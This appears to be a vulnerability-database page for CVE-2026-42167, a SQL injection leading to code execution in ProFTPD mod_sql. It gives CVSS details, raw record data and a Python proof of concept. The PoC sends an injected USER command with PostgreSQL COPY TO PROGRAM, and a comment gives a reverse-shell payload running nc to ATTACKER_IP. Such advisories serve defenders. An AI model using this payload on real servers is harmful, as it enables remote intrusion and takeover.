Security Vulnerability Report
中文
CVE-2026-42167 CVSS 8.1 HIGH

CVE-2026-42167

Published: 2026-04-28 23:16:21
Last Modified: 2026-05-01 19:16:31

Description

mod_sql in ProFTPD before 1.3.9a allows remote attackers to execute arbitrary code via a username, in scenarios where there is logging of USER requests with an expansion such as %U, and the SQL backend allows commands (e.g., COPY TO PROGRAM).

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ProFTPD < 1.3.9a

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-42167 Demonstrates sending a malicious username to trigger RCE via SQL backend logging expansion. Target: ProFTPD < 1.3.9a with mod_sql and logging enabled (e.g. %U expansion). """ import socket import sys def send_exploit(target_ip, target_port, payload): print(f"[*] Connecting to {target_ip}:{target_port}...") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Receive banner banner = s.recv(1024).decode() print(f"[+] Banner: {banner.strip()}") # Send malicious USER command # The payload attempts to inject SQL command execution (e.g., COPY TO PROGRAM) # This works if the SQL backend is PostgreSQL and the log format expands %U print(f"[*] Sending payload: {payload}") s.send(f"USER {payload}\r\n".encode()) response = s.recv(1024).decode() print(f"[+] Response: {response.strip()}") s.close() print("[*] Exploit packet sent. Check your listener for shell connection.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example payload for PostgreSQL: '; COPY (SELECT '') TO PROGRAM 'nc -e /bin/sh ATTACKER_IP 4444'; -- # Note: The exact payload depends on the specific SQL backend configuration. TARGET = "127.0.0.1" PORT = 21 PAYLOAD = "'; COPY (SELECT '') TO PROGRAM 'touch /tmp/pwned'; --" if len(sys.argv) > 1: TARGET = sys.argv[1] if len(sys.argv) > 2: PORT = int(sys.argv[2]) send_exploit(TARGET, PORT, PAYLOAD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42167", "sourceIdentifier": "[email protected]", "published": "2026-04-28T23:16:20.610", "lastModified": "2026-05-01T19:16:30.723", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "mod_sql in ProFTPD before 1.3.9a allows remote attackers to execute arbitrary code via a username, in scenarios where there is logging of USER requests with an expansion such as %U, and the SQL backend allows commands (e.g., COPY TO PROGRAM)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1", "source": "[email protected]"}, {"url": "https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc", "source": "[email protected]"}, {"url": "https://github.com/proftpd/proftpd/issues/2052", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/05/01/4", "source": "[email protected]"}, {"url": "https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/01/13", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/01/4", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}